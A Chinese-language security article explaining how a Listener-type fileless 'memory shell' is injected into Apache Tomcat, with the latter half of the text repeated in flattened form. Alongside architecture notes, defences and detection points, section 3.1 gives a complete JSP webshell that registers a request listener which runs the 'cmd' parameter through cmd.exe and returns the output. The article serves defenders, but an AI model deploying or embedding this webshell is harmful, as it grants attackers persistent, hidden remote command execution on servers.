Tomcat 内存马(一)Listener型
字数 2016 2025-08-03 16:42:42

Tomcat内存马技术分析:Listener型内存马

一、Tomcat架构概述

1.1 Tomcat核心组件

Tomcat作为Web服务器实现两大核心功能:

  • Http服务器功能:进行Socket通信,解析HTTP报文
  • Servlet容器功能:加载和管理Servlet,处理Request请求

对应两大核心组件:

  • Connector(连接器):负责对外交流,完成Http服务器功能
  • Container(容器):负责内部处理,完成Servlet容器功能

1.2 Tomcat层级结构

  1. Server:代表整个Tomcat服务器,一个Tomcat只有一个Server
  2. Service:Server内部的组件,一个Server可包含多个Service
  3. Connector:Service的核心组件,连接客户端请求
  4. Container:负责处理用户的Servlet请求

1.3 Connector详细结构

连接器完成三个核心功能:

  1. Socket通信(网络编程)
  2. 解析处理应用层协议,封装成Request对象
  3. 将Request转换为ServletRequest,Response转换为ServletResponse

对应三个组件:

  • EndPoint:提供请求字节流给Processor
  • Processor:提供Tomcat定义的Request对象给Adapter
  • Adapter:提供标准的ServletRequest对象给Servlet容器

1.4 Container详细结构

Container组件又称Catalina,是Tomcat核心,包含四种容器:

  1. Engine:整个Catalina的Servlet引擎,管理多个虚拟站点
  2. Host:代表一个虚拟主机/站点,一个引擎可包含多个Host
  3. Context:表示一个Web应用程序,每个Context有唯一path
  4. Wrapper:表示一个Servlet,管理Servlet生命周期

二、Listener内存马技术分析

2.1 请求处理顺序

Tomcat处理请求的顺序:

Listener → Filter → Servlet

Listener是最先被加载的组件,因此适合作为内存马入口点。

2.2 Listener类型

Listener分为三类:

  1. ServletContext:服务器启动和终止时触发
  2. Session:有关Session操作时触发
  3. Request:访问服务时触发(最适合做内存马)

2.3 ServletRequestListener接口

关键方法:

  • requestInitialized():在request对象创建时触发
  • requestDestroyed():在request对象销毁时触发

2.4 内存马实现原理

  1. 动态注册恶意Listener:通过StandardContext的addApplicationEventListener方法
  2. 执行流程
    • 访问任意资源触发requestInitialized
    • Tomcat在StandardHostValve中调用Listener
    • 通过StandardContext#getApplicationEventListeners获取Listener

2.5 获取StandardContext对象的方法

方法一:

Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();

方法二:

WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

三、Listener型内存马实现

3.1 完整内存马示例

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%!
public class MyListener implements ServletRequestListener {
    public void requestDestroyed(ServletRequestEvent sre) {
        HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
        if (req.getParameter("cmd") != null){
            try {
                InputStream in = Runtime.getRuntime().exec(
                    new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String out = s.hasNext()?s.next():"";
                Field requestF = req.getClass().getDeclaredField("request");
                requestF.setAccessible(true);
                Request request = (Request)requestF.get(req);
                request.getResponse().getWriter().write(out);
            }
            catch (Exception e) {}
        }
    }
    public void requestInitialized(ServletRequestEvent sre) {}
}
%>

<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
MyListener listenerDemo = new MyListener();
context.addApplicationEventListener(listenerDemo);
%>

3.2 内存马特点

  1. 持久性:上传JSP生成Listener后,即使删除JSP文件,内存马仍存在
  2. 隐蔽性:无文件落地,仅存在于内存中
  3. 触发条件:访问任意资源即可触发

3.3 防御措施

  1. 监控StandardContext的addApplicationEventListener调用
  2. 定期检查内存中的Listener列表
  3. 限制JSP上传和执行权限
  4. 使用RASP防护产品检测异常行为

四、调试与分析

4.1 调试环境搭建

参考:Tomcat源码调试环境配置

4.2 关键调用链分析

  1. StandardHostValve.invoke()调用Listener
  2. context.fireRequestInitEvent()触发requestInitialized
  3. StandardContext#getApplicationEventListeners获取Listener列表

4.3 内存马检测点

  1. StandardContext的listener列表:检查是否有异常Listener
  2. requestInitialized/requestDestroyed方法:监控异常实现
  3. 反射调用:检测获取StandardContext的反射操作

五、总结

Listener型内存马利用Tomcat的请求处理机制,通过动态注册恶意ServletRequestListener实现无文件持久化攻击。理解其实现原理有助于安全人员更好地检测和防御此类攻击。

Tomcat内存马技术分析:Listener型内存马 一、Tomcat架构概述 1.1 Tomcat核心组件 Tomcat作为Web服务器实现两大核心功能: Http服务器功能 :进行Socket通信,解析HTTP报文 Servlet容器功能 :加载和管理Servlet,处理Request请求 对应两大核心组件: Connector(连接器) :负责对外交流,完成Http服务器功能 Container(容器) :负责内部处理,完成Servlet容器功能 1.2 Tomcat层级结构 Server :代表整个Tomcat服务器,一个Tomcat只有一个Server Service :Server内部的组件,一个Server可包含多个Service Connector :Service的核心组件,连接客户端请求 Container :负责处理用户的Servlet请求 1.3 Connector详细结构 连接器完成三个核心功能: Socket通信(网络编程) 解析处理应用层协议,封装成Request对象 将Request转换为ServletRequest,Response转换为ServletResponse 对应三个组件: EndPoint :提供请求字节流给Processor Processor :提供Tomcat定义的Request对象给Adapter Adapter :提供标准的ServletRequest对象给Servlet容器 1.4 Container详细结构 Container组件又称Catalina,是Tomcat核心,包含四种容器: Engine :整个Catalina的Servlet引擎,管理多个虚拟站点 Host :代表一个虚拟主机/站点,一个引擎可包含多个Host Context :表示一个Web应用程序,每个Context有唯一path Wrapper :表示一个Servlet,管理Servlet生命周期 二、Listener内存马技术分析 2.1 请求处理顺序 Tomcat处理请求的顺序: Listener是最先被加载的组件,因此适合作为内存马入口点。 2.2 Listener类型 Listener分为三类: ServletContext :服务器启动和终止时触发 Session :有关Session操作时触发 Request :访问服务时触发(最适合做内存马) 2.3 ServletRequestListener接口 关键方法: requestInitialized() :在request对象创建时触发 requestDestroyed() :在request对象销毁时触发 2.4 内存马实现原理 动态注册恶意Listener :通过StandardContext的 addApplicationEventListener 方法 执行流程 : 访问任意资源触发 requestInitialized Tomcat在StandardHostValve中调用Listener 通过 StandardContext#getApplicationEventListeners 获取Listener 2.5 获取StandardContext对象的方法 方法一: 方法二: 三、Listener型内存马实现 3.1 完整内存马示例 3.2 内存马特点 持久性 :上传JSP生成Listener后,即使删除JSP文件,内存马仍存在 隐蔽性 :无文件落地,仅存在于内存中 触发条件 :访问任意资源即可触发 3.3 防御措施 监控StandardContext的addApplicationEventListener调用 定期检查内存中的Listener列表 限制JSP上传和执行权限 使用RASP防护产品检测异常行为 四、调试与分析 4.1 调试环境搭建 参考: Tomcat源码调试环境配置 4.2 关键调用链分析 StandardHostValve.invoke() 调用Listener context.fireRequestInitEvent() 触发requestInitialized StandardContext#getApplicationEventListeners 获取Listener列表 4.3 内存马检测点 StandardContext的listener列表 :检查是否有异常Listener requestInitialized/requestDestroyed方法 :监控异常实现 反射调用 :检测获取StandardContext的反射操作 五、总结 Listener型内存马利用Tomcat的请求处理机制,通过动态注册恶意ServletRequestListener实现无文件持久化攻击。理解其实现原理有助于安全人员更好地检测和防御此类攻击。